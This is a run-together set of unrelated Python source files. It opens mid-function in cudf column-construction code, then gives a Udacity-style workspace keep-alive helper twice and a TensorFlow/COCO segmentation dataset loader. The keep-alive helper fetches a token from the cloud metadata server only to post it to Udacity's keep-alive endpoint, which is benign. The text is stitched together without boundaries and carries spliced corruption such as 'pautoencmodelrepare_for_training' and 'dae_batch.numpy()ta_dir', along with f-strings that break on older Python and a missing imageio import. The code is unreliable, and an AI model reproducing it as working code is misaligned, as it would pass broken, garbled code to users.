scale=dtype.scale ), ) return cudf.core.column.Decimal128Column.from_arrow(data) elif isinstance(dtype, cudf.core.dtypes.Decimal64Dtype): data = pa.array( arbitrary, type=pa.decimal128( precision=dtype.precision, scale=dtype.scale ), ) return cudf.core.column.Decimal64Column.from_arrow(data) elif isinstance(dtype, cudf.core.dtypes.Decimal32Dtype): data = pa.array( arbitrary, type=pa.decimal128( precision=dtype.precision, scale=dtype.scale ), ) return cudf.core.column.Decimal32Column.from_arrow(data) pa_type = None np_type = None try: if dtype is not None: if is_categorical_dtype(dtype) or is_interval_dtype(dtype): raise TypeError if is_list_dtype(dtype): data = pa.array(arbitrary) if type(data) not in (pa.ListArray, pa.NullArray): raise ValueError( "Cannot create list column from given data" ) return as_column(data, nan_as_null=nan_as_null) elif isinstance( dtype, cudf.StructDtype ) and not isinstance(dtype, cudf.IntervalDtype): data = pa.array(arbitrary, type=dtype.to_arrow()) return as_column(data, nan_as_null=nan_as_null) elif isinstance(dtype, cudf.core.dtypes.Decimal128Dtype): data = pa.array( arbitrary, type=pa.decimal128( precision=dtype.precision, scale=dtype.scale ), ) return cudf.core.column.Decimal128Column.from_arrow( data ) elif isinstance(dtype, cudf.core.dtypes.Decimal64Dtype): data = pa.array( arbitrary, type=pa.decimal128( precision=dtype.precision, scale=dtype.scale ), ) return cudf.core.column.Decimal64Column.from_arrow( data ) elif isinstance(dtype, cudf.core.dtypes.Decimal32Dtype): data = pa.array( arbitrary, type=pa.decimal128( precision=dtype.precision, scale=dtype.scale ), ) return cudf.core.column.Decimal32Column.from_arrow( data ) if is_bool_dtype(dtype): # Need this special case handling for bool dtypes, # since 'boolean' & 'pd.BooleanDtype' are not # understood by np.dtype below. dtype = "bool" np_type = np.dtype(dtype).type pa_type = np_to_pa_dtype(np.dtype(dtype)) data = as_column( pa.array( arbitrary, type=pa_type, from_pandas=True if nan_as_null is None else nan_as_null, ), dtype=dtype, nan_as_null=nan_as_null, ) except (pa.ArrowInvalid, pa.ArrowTypeError, TypeError): if is_categorical_dtype(dtype): sr = pd.Series(arbitrary, dtype="category") data = as_column(sr, nan_as_null=nan_as_null, dtype=dtype) elif np_type == np.str_: sr = pd.Series(arbitrary, dtype="str") data = as_column(sr, nan_as_null=nan_as_null) elif is_interval_dtype(dtype): sr = pd.Series(arbitrary, dtype="interval") data = as_column(sr, nan_as_null=nan_as_null, dtype=dtype) elif ( isinstance(arbitrary, Sequence) and len(arbitrary) > 0 and any( cudf.utils.dtypes.is_column_like(arb) for arb in arbitrary ) ): return cudf.core.column.ListColumn.from_sequences( arbitrary ) else: data = as_column( _construct_array(arbitrary, dtype), dtype=dtype, nan_as_null=nan_as_null, ) return data def _construct_array( arbitrary: Any, dtype: Optional[Dtype] ) -> Union[np.ndarray, cupy.ndarray]: """ Construct a CuPy or NumPy array from `arbitrary` """ try: dtype = dtype if dtype is None else cudf.dtype(dtype) arbitrary = cupy.asarray(arbitrary, dtype=dtype) except (TypeError, ValueError): native_dtype = dtype if ( dtype is None and not cudf._lib.scalar._is_null_host_scalar(arbitrary) and infer_dtype(arbitrary) in ("mixed", "mixed-integer",) ): native_dtype = "object" arbitrary = np.asarray( arbitrary, dtype=native_dtype if native_dtype is None else np.dtype(native_dtype), ) return arbitrary def _data_from_cuda_array_interface_desc(obj) -> Buffer: desc = obj.__cuda_array_interface__ ptr = desc["data"][0] nelem = desc["shape"][0] if len(desc["shape"]) > 0 else 1 dtype = cudf.dtype(desc["typestr"]) data = Buffer(data=ptr, size=nelem * dtype.itemsize, owner=obj) return data def _mask_from_cuda_array_interface_desc(obj) -> Union[Buffer, None]: desc = obj.__cuda_array_interface__ mask = desc.get("mask", None) if mask is not None: desc = mask.__cuda_array_interface__ ptr = desc["data"][0] nelem = desc["shape"][0] typestr = desc["typestr"] typecode = typestr[1] if typecode == "t": mask_size = bitmask_allocation_size_bytes(nelem) mask = Buffer(data=ptr, size=mask_size, owner=obj) elif typecode == "b": col = as_column(mask) mask = bools_to_mask(col) else: raise NotImplementedError( f"Cannot infer mask from typestr {typestr}" ) return mask def serialize_columns(columns) -> Tuple[List[dict], List]: """ Return the headers and frames resulting from serializing a list of Column Parameters ---------- columns : list list of Columns to serialize Returns ------- headers : list list of header metadata for each Column frames : list list of frames """ headers: List[Dict[Any, Any]] = [] frames = [] if len(columns) > 0: header_columns = [c.serialize() for c in columns] headers, column_frames = zip(*header_columns) for f in column_frames: frames.extend(f) return headers, frames def deserialize_columns(headers: List[dict], frames: List) -> List[ColumnBase]: """ Construct a list of Columns from a list of headers and frames. """ columns = [] for meta in headers: col_frame_count = meta["frame_count"] col_typ = pickle.loads(meta["type-serialized"]) colobj = col_typ.deserialize(meta, frames[:col_frame_count]) columns.append(colobj) # Advance frames frames = frames[col_frame_count:] return columns def arange( start: Union[int, float], stop: Union[int, float] = None, step: Union[int, float] = 1, dtype=None, ) -> ColumnBase: """ Returns a column with evenly spaced values within a given interval. Values are generated within the half-open interval [start, stop). The first three arguments are mapped like the range built-in function, i.e. start and step are optional. Parameters ---------- start : int/float Start of the interval. stop : int/float, default is None Stop of the interval. step : int/float, default 1 Step width between each pair of consecutive values. dtype : default None Data type specifier. It is inferred from other arguments by default. Returns ------- cudf.core.column.NumericalColumn Examples -------- >>> import cudf >>> col = cudf.core.column.arange(2, 7, 1, dtype='int16') >>> col <cudf.core.column.numerical.NumericalColumn object at 0x7ff7998f8b90> >>> cudf.Series(col) 0 2 1 3 2 4 3 5 4 6 dtype: int16 """ if stop is None: stop = start start = 0 if step is None: step = 1 size = int(np.ceil((stop - start) / step)) return libcudf.filling.sequence( size, as_device_scalar(start, dtype=dtype), as_device_scalar(step, dtype=dtype), ) def full(size: int, fill_value: ScalarLike, dtype: Dtype = None) -> ColumnBase: """ Returns a column of given size and dtype, filled with a given value. Parameters ---------- size : int size of the expected column. fill_value : scalar A scalar value to fill a new array. dtype : default None Data type specifier. It is inferred from other arguments by default. Returns ------- Column Examples -------- >>> import cudf >>> col = cudf.core.column.full(size=5, fill_value=7, dtype='int8') >>> col <cudf.core.column.numerical.NumericalColumn object at 0x7fa0912e8b90> >>> cudf.Series(col) 0 7 1 7 2 7 3 7 4 7 dtype: int8 """ return ColumnBase.from_scalar(cudf.Scalar(fill_value, dtype), size) def concat_columns(objs: "MutableSequence[ColumnBase]") -> ColumnBase: """Concatenate a sequence of columns.""" if len(objs) == 0: dtype = cudf.dtype(None) return column_empty(0, dtype=dtype, masked=True) # If all columns are `NumericalColumn` with different dtypes, # we cast them to a common dtype. # Notice, we can always cast pure null columns not_null_col_dtypes = [o.dtype for o in objs if o.valid_count] if len(not_null_col_dtypes) and all( _is_non_decimal_numeric_dtype(dtyp) and np.issubdtype(dtyp, np.datetime64) for dtyp in not_null_col_dtypes ): # Use NumPy to find a common dtype common_dtype = np.find_common_type(not_null_col_dtypes, []) # Cast all columns to the common dtype objs = [obj.astype(common_dtype) for obj in objs] # Find the first non-null column: head = next((obj for obj in objs if obj.valid_count), objs[0]) for i, obj in enumerate(objs): # Check that all columns are the same type: if not is_dtype_equal(obj.dtype, head.dtype): # if all null, cast to appropriate dtype if obj.valid_count == 0: objs[i] = column_empty_like( head, dtype=head.dtype, masked=True, newsize=len(obj) ) else: raise ValueError("All columns must be the same type") # TODO: This logic should be generalized to a dispatch to # ColumnBase._concat so that all subclasses can override necessary # behavior. However, at the moment it's not clear what that API should look # like, so CategoricalColumn simply implements a minimal working API. if all(is_categorical_dtype(o.dtype) for o in objs): return cudf.core.column.categorical.CategoricalColumn._concat( cast( MutableSequence[ cudf.core.column.categorical.CategoricalColumn ], objs, ) ) newsize = sum(map(len, objs)) if newsize > libcudf.MAX_COLUMN_SIZE: raise MemoryError( f"Result of concat cannot have " f"size > {libcudf.MAX_COLUMN_SIZE_STR}" ) elif newsize == 0: col = column_empty(0, head.dtype, masked=True) else: # Filter out inputs that have 0 length, then concatenate. objs = [o for o in objs if len(o)] try: col = libcudf.concat.concat_columns(objs) except RuntimeError as e: if "exceeds size_type range" in str(e): raise OverflowError( "total size of output is too large for a cudf column" ) from e raise return col
import signal import sys import json from contextlib import contextmanager import matplotlib.pyplot as plt import numpy as np import requests DELAY = INTERVAL = 4 * 60 # interval time in seconds MIN_DELAY = MIN_INTERVAL = 2 * 60 KEEPALIVE_URL = "https://nebula.udacity.com/api/v1/remote/keep-alive" TOKEN_URL = "http://metadata.google.internal/computeMetadata/v1/instance/attributes/keep_alive_token" TOKEN_HEADERS = {"Metadata-Flavor": "Google"} def _request_handler(headers): def _handler(signum, frame): requests.request("POST", KEEPALIVE_URL, headers=headers) return _handler @contextmanager def active_session(delay=DELAY, interval=INTERVAL): """ Example: from workspace_utils import active session with active_session(): # do long-running work here """ token = requests.request("GET", TOKEN_URL, headers=TOKEN_HEADERS).text headers = {"Authorization": "STAR " + token} delay = max(delay, MIN_DELAY) interval = max(interval, MIN_INTERVAL) original_handler = signal.getsignal(signal.SIGALRM) try: signal.signal(signal.SIGALRM, _request_handler(headers)) signal.setitimer(signal.ITIMER_REAL, delay, interval) yield finally: signal.signal(signal.SIGALRM, original_handler) signal.setitimer(signal.ITIMER_REAL, 0) def keep_awake(iterable, delay=DELAY, interval=INTERVAL): """ Example: from workspace_utils import keep_awake for i in keep_awake(range(5)): # do iteration with lots of work here """ with active_session(delay, interval): yield from iterable def imshow(image, ax=None, title=None, normalize=True): """Imshow for Tensor.""" if ax is None: fig, ax = plt.subplots() image = image.numpy().transpose((1, 2, 0)) if normalize: mean = np.array([0.485, 0.456, 0.406]) std = np.array([0.229, 0.224, 0.225]) image = std * image + mean image = np.clip(image, 0, 1) ax.imshow(image) ax.spines["top"].set_visible(False) ax.spines["right"].set_visible(False) ax.spines["left"].set_visible(False) ax.spines["bottom"].set_visible(False) ax.tick_params(axis="both", length=0) ax.set_xticklabels("") ax.set_yticklabels("") return ax class ProgressBar: current_step = 0 max_step = 0 bar_length = 40 def __init__(self, max_step): self.max_step = max_step def show_progress(self): # Every time you call this function, the progress bar will be updated by one step self.current_step += 1 # The percentage information info_percent = f"{str(int(self.current_step / float(self.max_step) * 100))}%" # The progress bar graph cnt_current_block = int( (self.current_step / float(self.max_step)) * self.bar_length ) info_current_block = ["█"] * cnt_current_block info_rest_block = [" "] * (self.bar_length - cnt_current_block) # The step information info_count = f"{str(self.current_step)}/{str(self.max_step)}" sys.stdout.write( f"{info_percent}|{"".join(info_current_block)}{"".join(info_rest_block)}" f"|{info_count}\r" ) sys.stdout.flush() def end(self): # When you finish your job, call this function to start with a new line sys.stdout.write("\n") sys.stdout.flush() # Label mapping def get_names(file_name: str) -> dict: """Read json file to dict.""" with open(file_name, "r") as f: names = json.load(f) return names
import signal import sys import json from contextlib import contextmanager import matplotlib.pyplot as plt import numpy as np import requests DELAY = INTERVAL = 4 * 60 # interval time in seconds MIN_DELAY = MIN_INTERVAL = 2 * 60 KEEPALIVE_URL = "https://nebula.udacity.com/api/v1/remote/keep-alive" TOKEN_URL = "http://metadata.google.internal/computeMetadata/v1/instance/attributes/keep_alive_token" TOKEN_HEADERS = {"Metadata-Flavor": "Google"} def _request_handler(headers): def _handler(signum, frame): requests.request("POST", KEEPALIVE_URL, headers=headers) return _handler @contextmanager def active_session(delay=DELAY, interval=INTERVAL): """ Example: from workspace_utils import active session with active_session(): # do long-running work here """ token = requests.request("GET", TOKEN_URL, headers=TOKEN_HEADERS).text headers = {"Authorization": "STAR " + token} delay = max(delay, MIN_DELAY) interval = max(interval, MIN_INTERVAL) original_handler = signal.getsignal(signal.SIGALRM) try: signal.signal(signal.SIGALRM, _request_handler(headers)) signal.setitimer(signal.ITIMER_REAL, delay, interval) yield finally: signal.signal(signal.SIGALRM, original_handler) signal.setitimer(signal.ITIMER_REAL, 0) def keep_awake(iterable, delay=DELAY, interval=INTERVAL): """ Example: from workspace_utils import keep_awake for i in keep_awake(range(5)): # do iteration with lots of work here """ with active_session(delay, interval): yield from iterable def imshow(image, ax=None, title=None, normalize=True): """Imshow for Tensor.""" if ax is None: fig, ax = plt.subplots() image = image.numpy().transpose((1, 2, 0)) if normalize: mean = np.array([0.485, 0.456, 0.406]) std = np.array([0.229, 0.224, 0.225]) image = std * image + mean image = np.clip(image, 0, 1) ax.imshow(image) ax.spines["top"].set_visible(False) ax.spines["right"].set_visible(False) ax.spines["left"].set_visible(False) ax.spines["bottom"].set_visible(False) ax.tick_params(axis="both", length=0) ax.set_xticklabels("") ax.set_yticklabels("") return ax class ProgressBar: current_step = 0 max_step = 0 bar_length = 40 def __init__(self, max_step): self.max_step = max_step def show_progress(self): # Every time you call this function, the progress bar will be updated by one step self.current_step += 1 # The percentage information info_percent = f"{str(int(self.current_step / float(self.max_step) * 100))}%" # The progress bar graph cnt_current_block = int( (self.current_step / float(self.max_step)) * self.bar_length ) info_current_block = ["█"] * cnt_current_block info_rest_block = [" "] * (self.bar_length - cnt_current_block) # The step information info_count = f"{str(self.current_step)}/{str(self.max_step)}" sys.stdout.write( f"{info_percent}|{''.join(info_current_block)}{''.join(info_rest_block)}" f"|{info_count}\r" ) sys.stdout.flush() def end(self): # When you finish your job, call this function to start with a new line sys.stdout.write("\n") sys.stdout.flush() # Label mapping def get_names(file_name: str) -> dict: """Read json file to dict.""" with open(file_name, "r") as f: names = json.load(f) return names
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Mon Oct 14 18:23:18 2019 @author: ddd """ import tensorflow as tf #tf.enable_eager_execution() AUTOTUNE = tf.data.experimental.AUTOTUNE from pycocotools.coco import COCO #import IPython.display as display #from PIL import Image import numpy as np import matplotlib.pyplot as plt import pathlib import os def show_batch(image_batch, label_batch=""): plt.figure(figsize=(10,10)) for n in range(25): ax = plt.subplot(5,5,n+1) plt.imshow(image_batch[n]) #plt.title(CLASS_NAMES[label_batch[n]==1][0].title()) plt.axis('off') plt.show() def process_path(file_path): #label = get_label(file_path) # load the raw data from the file as a string img = tf.io.read_file(file_path) img = decode_img(img) #return img, label return img def show_img_lbl(image_batch, label_batch): plt.figure(figsize=(10,10)) ax = plt.subplot(1,2,1) plt.imshow(image_batch) plt.axis('off') plt.subplot(1,2,2) plt.imshow(label_batch[:,:,0]) #plt.title(CLASS_NAMES[label_batch[n]==1][0].title()) plt.axis('off') plt.show() def prepare_for_training(ds, batch_size=1, cache=None, shuffle_buffer_size=100): # This is a small dataset, only load it once, and keep it in memory. # use `.cache(filename)` to cache preprocessing work for datasets that don't # fit in memory. #ds = ds.repeat() if cache: if isinstance(cache, str): ds = ds.cache(cache) else: ds = ds.cache() ds = ds.batch(batch_size) #ds = ds.shuffle(buffer_size=shuffle_buffer_size) # Repeat forever #ds = ds.batch(batch_size) # `prefetch` lets the dataset fetch batches in the background while the model # is training. ds = ds.prefetch(buffer_size=AUTOTUNE) return ds def median_frequency_balancing(image_files='', num_classes=12): ''' Perform median frequency balancing on the image files, given by the formula: f = Median_freq_c / total_freq_c where median_freq_c is the median frequency of the class for all pixels of C that appeared in images and total_freq_c is the total number of pixels of c in the total pixels of the images where c appeared. INPUTS: - image_files(list): a list of image_filenames which element can be read immediately - num_classes(int): the number of classes of pixels in all images OUTPUTS: - class_weights(list): a list of class weights where each index represents each class label and the element is the class weight for that label. ''' #Initialize all the labels key with a list value label_to_frequency_dict = {} for i in range(num_classes): label_to_frequency_dict[i] = [] for n in range(len(image_files)): image = imageio.imread(image_files[n]) #For each image sum up the frequency of each label in that image and append to the dictionary if frequency is positive. for i in range(num_classes): class_mask = np.equal(image, i) class_mask = class_mask.astype(np.float32) class_frequency = np.sum(class_mask) if class_frequency != 0.0: label_to_frequency_dict[i].append(class_frequency) class_weights = [] #Get the total pixels to calculate total_frequency later total_pixels = 0 for frequencies in label_to_frequency_dict.values(): total_pixels += sum(frequencies) for i, j in label_to_frequency_dict.items(): j = sorted(j) #To obtain the median, we got to sort the frequencies median_frequency = np.median(j) / sum(j) total_frequency = sum(j) / total_pixels median_frequency_balanced = median_frequency / total_frequency class_weights.append(median_frequency_balanced) #Set the last class_weight to 0.0 as it's the background class class_weights[-1] = 0.0 return class_weights def process_img_from_path(file_path,im_w=None,im_h=None,chn=3,dtype=tf.float32, ns=None, reshape=1): #label = get_label(file_path) # load the raw data from the file as a string img = tf.io.read_file(file_path) img = tf.image.decode_jpeg(img, channels=chn) if im_w is not None: #img = tf.image.resize_with_pad(img, [im_w, im_h], method=tf.image.ResizeMethod.NEAREST_NEIGHBOR) img = tf.image.resize(img, [im_w, im_h], method=tf.image.ResizeMethod.NEAREST_NEIGHBOR) img = tf.image.convert_image_dtype(img, dtype) if ns is not None: shape = img.shape img = tf.one_hot(indices=img, depth=ns) img = tf.reshape(img, (shape[0], shape[1], ns)) if reshape: img = tf.reshape(img, (-1, ns) ) return img def y2w(onehot_lbls,w=None): if w is None: return 1. weights = onehot_lbls * w weights = tf.reduce_sum(weights, -1) return weights def flip_data(x,y): #x,y = d if tf.random.uniform([],0,2,dtype="int32") > 0: #x = tf.image.flip_left_right(x) #y = tf.image.flip_left_right(y) x = tf.reverse(x,[0]) y = tf.reverse(y,[0]) if tf.random.uniform([],0,2,dtype="int32") > 0: x = tf.reverse(x,[1]) y = tf.reverse(y,[1]) return (x,y) def get_labeled_dataset(data_dir, file, im_w=None,im_h=None, num_classes=12, reshape=1, class_w=None): lbl_data_dir = data_dir+"annot" data_dir = pathlib.Path(data_dir) lbl_data_dir = pathlib.Path(lbl_data_dir) x = f"{data_dir}/{file}" y = f"{lbl_data_dir}/{file}" x = process_img_from_path(x, im_w=im_w,im_h=im_h,chn=3,dtype=tf.float32) y = process_img_from_path(y, im_w=im_w,im_h=im_h,chn=1,dtype=tf.uint8, ns=num_classes,reshape=reshape) return x,y def create_dataset_new(data_dir,im_w=None,im_h=None, num_classes=12, reshape=1, class_w=None, data_transform=1): lbl_data_dir = data_dir+"annot" lbl_data_dir = pathlib.Path(lbl_data_dir) lbl_file_names = [f.name for f in pathlib.Path(lbl_data_dir).glob("*.png")] labeled_ds = tf.data.Dataset.list_files( lbl_file_names) process_lbl_ds_path = lambda f : get_labeled_dataset(data_dir=data_dir, file=f, im_w=im_w,im_h=im_h, num_classes=num_classes, reshape=reshape, class_w=class_w) labeled_ds = labeled_ds.map(process_lbl_ds_path, num_parallel_calls=AUTOTUNE) return labeled_ds def get_coco_sup_cat_map(): return { 'background': 0, 'electronic': 1, 'appliance': 2, 'sports': 3, 'kitchen': 4, 'indoor': 5, 'animal': 6, 'food': 7, 'furniture': 8, 'person': 9, 'accessory': 10, 'outdoor': 11, 'vehicle': 12} def get_coco_sup_cat_id(coco,id) : map = get_coco_sup_cat_map() return map[coco.loadCats([id])[0]['supercategory']] def get_coco_classes_nmber(): cat_map = get_coco_sup_cat_map() return len(cat_map.keys()) def validate_coco_imgs(imgIds,coco,data_dir): for imId in imgIds: im_file = coco.loadImgs([imId])[0]['file_name'] im_file = f'{data_dir}/{im_file}' # wrong lbl_file = f'{data_dir}_annotImg/{im_file}.png' if not os.path.isfile(im_file): imgIds.remove(imId) print(f"removed imId {imId} from {data_dir} ") return imgIds def id_to_img_lbl( img_id=324158, coco=None, data_dir=None): nc = get_coco_classes_nmber() img = coco.loadImgs(img_id)[0] target_shape = (img['height'], img['width'], nc) annIds = coco.getAnnIds(imgIds=img['id'], iscrowd=None) anns = coco.loadAnns(annIds) mask_one_hot = np.zeros(target_shape, dtype=np.uint8) mask_one_hot[:, :, 0] = 1 # every pixel begins as background for ann in anns: mask_partial = coco.annToMask(ann) assert mask_one_hot.shape[:2] == mask_partial.shape[:2] # width and height match chan = get_coco_sup_cat_id(coco, ann['category_id']) mask_one_hot[mask_partial > 0, chan] = 1 mask_one_hot[mask_partial > 0, 0] = 0 return f"{data_dir}/{img["file_name"]}", np.array(mask_one_hot) def process_coco_imgs_old(file_path, lbl, im_w=None, im_h=None, dtype=tf.float32, chn=3): #label = get_label(file_path) # load the raw data from the file as a string img = tf.io.read_file(file_path) img = tf.image.decode_jpeg(img, channels=chn) if im_w is not None: #img = tf.image.resize_with_pad(img, [im_w, im_h], method=tf.image.ResizeMethod.NEAREST_NEIGHBOR) img = tf.image.resize(img, [im_w, im_h], method=tf.image.ResizeMethod.NEAREST_NEIGHBOR) lbl = tf.image.resize(lbl, [im_w, im_h], method=tf.image.ResizeMethod.NEAREST_NEIGHBOR) img = tf.image.convert_image_dtype(img, dtype) #lbl = tf.one_hot(indices=img, depth=ns) #img = tf.reshape(img, (shape[0], shape[1], ns)) return img, lbl def process_coco_imgs(data, im_w=None, im_h=None, dtype=tf.float32, chn=3): x_file = data[0] y_file = data[1] nc = get_coco_classes_nmber() img = tf.io.read_file(x_file) #img = tf.image.decode_jpeg(img, channels=chn) img = tf.image.decode_image(img, channels=chn,dtype=dtype) #, expand_animations=False) lbl = tf.io.read_file(y_file) lbl = tf.image.decode_image(lbl, channels=1, dtype='uint8', expand_animations=False) if im_w is not None: img = tf.image.resize_with_pad(img, im_h, im_w, method=tf.image.ResizeMethod.NEAREST_NEIGHBOR) lbl = tf.image.resize_with_pad(lbl, im_h, im_w, method=tf.image.ResizeMethod.NEAREST_NEIGHBOR) #img = tf.image.convert_image_dtype(img, dtype) shape = lbl.shape #lbl = tf.image.convert_image_dtype(lbl, dtype='uint8') lbl = tf.one_hot(indices=lbl, depth=nc, dtype='uint8') lbl = tf.reshape(lbl, (shape[0], shape[1], nc)) return img, lbl #def create_coco_dataset(dataDir='../../cocodataset', dataType='val2017', subdir ='annotations_trainval2017', im_w=256, im_h=256): def create_coco_dataset(dataDir='../../cocodataset', dataType='val2017', im_w=256, im_h=256): subdir ='annotations_trainval2017' annFile=f'{dataDir}/{subdir}/annotations/instances_{dataType}.json' data_dir = f"{dataDir}/{dataType}" coco=COCO(annFile) imgIds = coco.getImgIds(imgIds=[],catIds=[]) imgIds = validate_coco_imgs(imgIds,coco, data_dir=data_dir) imgs = coco.loadImgs(imgIds) files = [f"{img["file_name"]}" for img in imgs] #y_files = [ f"{data_dir}_annotImg/{img["file_name"]}.png" for img in imgs] data = [(f"{data_dir}/{f}",f"{data_dir}_annotImg/{f}.png") for f in files] np.random.shuffle(data) # x_ds = tf.data.Dataset.list_files( x_files, seed=0 ) # y_ds = tf.data.Dataset.list_files( y_files, seed=0 ) # labeled_ds = tf.data.Dataset.zip( (x_ds,y_ds) ) labeled_ds = tf.data.Dataset.from_tensor_slices(data) labeled_ds =labeled_ds.shuffle(buffer_size=10000) proc_imgs = lambda data : process_coco_imgs( data, im_w=im_w, im_h=im_h) labeled_ds = labeled_ds.map(proc_imgs) return labeled_ds def create_coco_test_set(dataDir='../../cocodataset', dataType='test2017', im_w=256, im_h=256): subdir ='image_info_test2017' annFile=f'{dataDir}/{subdir}/annotations/{subdir}.json' data_dir = f"{dataDir}/{dataType}" coco=COCO(annFile) imgIds = coco.getImgIds(imgIds=[],catIds=[]) imgIds = validate_coco_imgs(imgIds,coco, data_dir=data_dir) imgs = coco.loadImgs(imgIds) files = [f"{img["file_name"]}" for img in imgs] #y_files = [ f"{data_dir}_annotImg/{img["file_name"]}.png" for img in imgs] data = [(f"{data_dir}/{f}",f"{data_dir}_annotImg/{f}.png") for f in files] # x_ds = tf.data.Dataset.list_files( x_files, seed=0 ) # y_ds = tf.data.Dataset.list_files( y_files, seed=0 ) # labeled_ds = tf.data.Dataset.zip( (x_ds,y_ds) ) labeled_ds = tf.data.Dataset.from_tensor_slices(data) proc_imgs = lambda data : process_coco_imgs( data, im_w=im_w, im_h=im_h) labeled_ds = labeled_ds.map(proc_imgs) return labeled_ds def create_coco_dataset_old(dataDir='../../cocodataset', dataType='val2017', im_w=256, im_h=256): subdir ='annotations_trainval2017' annFile=f'{dataDir}/{subdir}/annotations/instances_{dataType}.json' data_dir = f"{dataDir}/{dataType}" coco=COCO(annFile) imgIds = coco.getImgIds(imgIds=[],catIds=[]) imgIds = validate_coco_imgs(imgIds,coco, data_dir=data_dir) lbled_ds = tf.data.Dataset.from_tensor_slices(imgIds) get_labeld_images = lambda img_id :id_to_img_lbl( img_id=img_id, coco=coco, data_dir=data_dir) lbled_ds = lbled_ds.map(get_labeld_images) proc_imgs = lambda x,y : process_coco_imgs(x,y, im_w=im_w, im_h=im_h) lbled_ds = lbled_ds.map(proc_imgs) return lbled_ds def create_dataset(data_dir,im_w=None,im_h=None, num_classes=12, reshape=1, class_w=None, data_transform=1): lbl_data_dir = data_dir+"annot" data_dir = pathlib.Path(data_dir) lbl_data_dir = pathlib.Path(lbl_data_dir) lbl_file_names = [f.name for f in pathlib.Path(lbl_data_dir).glob("*.png")] #(x_ds, y_ds) = [ (str(data_dir/fname), str(lbl_data_dir/fname) ) for fname in lbl_file_names] x_ds = [ str(data_dir/fname) for fname in lbl_file_names] y_ds = [ str(lbl_data_dir/fname) for fname in lbl_file_names] # for x, y in zip(x_ds,y_ds): # print (x, y) # for x, y in zip(x_ds,y_ds): # f = pathlib.Path(x) # assert f.is_file() # assert pathlib.Path(x).is_file() # print(x, y) x_ds = tf.data.Dataset.list_files(x_ds,seed=0) y_ds = tf.data.Dataset.list_files(y_ds,seed=0) #x_ds = tf.data.Dataset.list_files(str(sorted(pathlib.Path(data_dir).glob("*.png")))) #lbl_data_dir = pathlib.Path(lbl_data_dir) #y_ds = tf.data.Dataset.list_files((str(lbl_data_dir/'*.png'))) process_ds_path = lambda x : process_img_from_path(x, im_w=im_w,im_h=im_h,chn=3,dtype=tf.float32) x_ds = x_ds.map(process_ds_path)#, num_parallel_calls=AUTOTUNE) process_ann_ds_path = lambda x : process_img_from_path(x, im_w=im_w,im_h=im_h,chn=1,dtype=tf.uint8, ns=num_classes,reshape=reshape) y_ds = y_ds.map(process_ann_ds_path) #, num_parallel_calls=AUTOTUNE) # lbls_waights = lambda y : y2w (y,class_w) # w_ds = y_ds.map(lbls_waights, num_parallel_calls=AUTOTUNE) #y_ds.map(lambda y : to_categorical(y, num_classes=num_classes) , num_parallel_calls=AUTOTUNE)train_ds.take(1) #y_ds.map(lambda y : tf.reshape(y,(-1,num_classes))) #y_ds = to_categorical(y_ds,num_classes=num_classes) labeled_ds = tf.data.Dataset.zip((x_ds , y_ds)) if data_transform is not None : labeled_ds = labeled_ds.map(flip_data, num_parallel_calls=AUTOTUNE) # Set `num_parallel_calls` so multiple images are loaded/processed in parallel. return labeled_ds def create_poisson_rand_dataset(data_dir,im_w=None,im_h=None, num_classes=12, reshape=1, class_w=None, data_transform=1): lbl_data_dir = data_dir+"annot" data_dir = pathlib.Path(data_dir) lbl_data_dir = pathlib.Path(lbl_data_dir) lbl_file_names = [f.name for f in pathlib.Path(lbl_data_dir).glob("*.png")] x_ds = [ str(data_dir/fname) for fname in lbl_file_names] y_ds = [ str(lbl_data_dir/fname) for fname in lbl_file_names] x_ds = tf.data.Dataset.list_files(x_ds,seed=0) y_ds = tf.data.Dataset.list_files(y_ds,seed=0) process_ds_path = lambda x : process_img_from_path(x, im_w=im_w,im_h=im_h,chn=3,dtype=tf.float32) x_ds = x_ds.map(process_ds_path)#, num_parallel_calls=AUTOTUNE) process_ann_ds_path = lambda x : process_img_from_path(x, im_w=im_w,im_h=im_h,chn=3,dtype=tf.float32) y_ds = y_ds.map(process_ann_ds_path) #, num_parallel_calls=AUTOTUNE) labeled_ds = tf.data.Dataset.zip((x_ds , y_ds)) return labeled_ds if __name__ == '__main__': # -------- dw = 64 nc=12 data_dir = "dataset/train" train_ds = create_dataset(data_dir,im_w=dw,im_h=dw, num_classes=nc) data_dir = "dataset/val" train_ds = create_dataset(data_dir,im_w=dw,im_h=dw, num_classes=nc,reshape=None) print("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!1") # data_dir = "dataset/val" # val_ds = create_dataset(data_dir,im_w=dw,im_h=dw, num_classes=nc) # print("-------------!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!1") # #train_ds.concatenate(val_ds) # #train_ds = prepare_for_training(train_ds, batch_size=1, cache=None, shuffle_buffer_size=1000) train_ds = pautoencmodelrepare_for_training(train_ds,batch_size=12,cache=None,shuffle_buffer_size=1000) for im ,lbl in train_ds.take(1): print("Image shape: ", im.numpy().shape) print("Label shape: ", lbl.numpy().shape) # -------- CoCo ---- val_ds = create_coco_dataset() print(val_ds.take(1)) train_ds = create_coco_dataset(dataType='train2017') for im ,lbl in train_ds.take(1): print("Image, Image shape: ", im, im.numpy().shape) print("Lable, Label shape: ", lbl, lbl.numpy().shape) show_img_lbl(im,lbl) #------ test_ds = create_coco_test_set() print(test_ds.take(1)) im = [] lbl = [] lbl3 = [] for im ,lbl in test_ds.take(5): print("Image, Image shape: ", im.numpy().shape) print("Lable, Label shape: ", lbl.numpy().shape) lbl3 =lbl lbl2 = tf.math.argmax(lbl,axis=-1).numpy() plt.figure(figsize=(10,10)) ax = plt.subplot(1,2,1) plt.imshow(im) plt.axis('off') plt.subplot(1,2,2) plt.imshow(lbl2) plt.axis('off') plt.show() #------------------------------ # data_dir = "dataset/train" # #data_dir = tf.keras.utils.get_file(origin='url', fname='flower_photos', untar=True) # data_dir = pathlib.Path(data_dir) # # image_count = len(list(dae_batch.numpy()ta_dir.glob('*.png'))) # # CLASS_NAMES = np.array([item.name for item in data_dir.glob('*') if item.name != "LICENSE.txt"]) # # roses = list(data_dir.glob('roses/*')) # train_ds = create_dataset(data_dir,im_w=dw,im_h=dw, num_classes=nc) # for image_path in roses[:3]: # display.display(Image.open(str(image_path))) # # # The 1./255 is to convert from uint8 to float32 in range [0,1]. # image_generator = tf.keras.preprocessing.image.ImageDataGenerator(rescale=1./255) # # # BATCH_SIZE = 32 # IMG_HEIGHT = 224 # IMG_WIDTH = 224 # STEPS_PER_EPOCH = np.ceil(image_count/BATCH_SIZE) # # train_data_gen 